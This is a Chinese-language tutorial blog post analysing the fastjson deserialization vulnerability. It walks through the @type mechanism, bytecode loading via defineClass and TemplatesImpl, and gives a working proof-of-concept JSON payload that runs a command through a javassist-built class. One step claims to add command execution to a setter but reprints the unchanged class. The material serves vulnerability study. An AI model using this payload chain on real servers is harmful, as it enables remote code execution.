其他
fastjson从0到1
fastjson简单使用
User:
package com.naihe;
public class User {
private String name;
private int age;
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Demo:
package com.naihe;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FS {
public static void main(String[] args) {
User user1 = new User("小李",10);
String JsStr1= JSONObject.toJSONString(user1);
System.out.println(JsStr1);
User user2 = new User("大李",100);
String JsStr2= JSONObject.toJSONString(user2, SerializerFeature.WriteClassName);
System.out.println(JsStr2);
String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
Object obj1 = JSONObject.parse(str);
System.out.println(obj1);
Object obj2 = JSONObject.parseObject(str);
System.out.println(obj2);
}
}
反序列化漏洞分析
由于fastjson调试起来过程比较复杂,在这里直接看关键点:首先会获取字符串的第一对引号中的内容
如果内容为@type就会加载下一对引号中的类
在JavaBeanInfo.class中会获取类中所有详细详细 在这里匹配以set开头的方法
这里判断函数名长度大于4,且以set开头,非静态函数,返回类型为void或当前类参数个数为1个的方法
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
(method.getReturnType().equals(Void.TYPE) ||
method.getReturnType().equals(method.getDeclaringClass())))
函数名长度大于等于4非静态方法,以get开头且第4个字母为大写,无参数,返回值类型继承自Collection或Map或AtomicBoolean,或Atomiclnteger或AtomicLon的方法
methodName.length() >= 4 &&
!Modifier.isStatic(method.getModifiers()) &&
methodName.startsWith("get") &&
Character.isUpperCase(methodName.charAt(3)) &&
method.getParameterTypes().length == 0 &&
(Collection.class.isAssignableFrom(method.getReturnType()) ||
Map.class.isAssignableFrom(method.getReturnType()) ||
AtomicBoolean.class == method.getReturnType() ||
AtomicInteger.class == method.getReturnType() ||
AtomicLong.class == method.getReturnType()))
其实本质就是fastjson会利用反序列化通过无参构造创建一个对象,不通过setter或getter方法进行赋值与输出操作 因此我们只需要找到满足条件的类就行,这里一般利用的是 TemplatesImpl链来加载字节码,从而rce等操作 下面我们来证明一下我们的观点 在setter方法中添加一段命令执行的代码
package com.naihe;
public class User {
private String name;
private int age;
public User() {}
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Demo:
package com.naihe;
import com.alibaba.fastjson.JSONObject;
public class Demo1 {
public static void main(String[] args) {
String str = "{\"@type\":\"com.naihe.User\",\"age\":1000,\"name\":\"老李\"}";
Object obj1 = JSONObject.parse(str);
}
}
字节码加载
利用defineClass加载字节码
package com.naihe;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class DC {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException, NotFoundException, CannotCompileException, IOException {
//通过字节码构建恶意类
ClassPool classPool=ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] code=payload.toBytecode();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "CommonsCollections3", code, 0, code.length);
yyds.newInstance();
}
}
利用TemplatesImpl加载字节码
package com.naihe;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import java.lang.reflect.Field;
import java.util.Base64;
public class TL {
private static void setFiledValue(Object obj, String fieldName, Object fieldValue) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, fieldValue);
}
public static void main(String[] args) {
try {
ClassPool classPool=ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] codes=payload.toBytecode();
byte[][] _bytecodes = new byte[][] {
codes,
};
TemplatesImpl templates = new TemplatesImpl();
setFiledValue(templates, "_bytecodes", _bytecodes);
setFiledValue(templates, "_name", "whatever");
setFiledValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
} catch (Exception e) {
e.printStackTrace();
}
}
}
poc:
package com.naihe;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
import java.util.Base64;
public class fastjson {
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ParserConfig config = new ParserConfig();
ClassPool classPool=ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
String str = Base64.getEncoder().encodeToString(payload.toBytecode());
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+str+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
利用分析
fastjosn一般是使用TemplatesImpl链来进行攻击的,在上面其实已经分析过fastjson在反序列化的时候会调用满足条件的getter方法,因此就会调用TemplatesImpl类的getOutputProperties方法,然后通过getOutputProperties,调用newTransformer
仔细观察就会发现poc中将byte进行了base64加密,那么这是为什么了?在调用deserialze时会执行base64解密
造成_bytecodes需要进行base64编码
往期推荐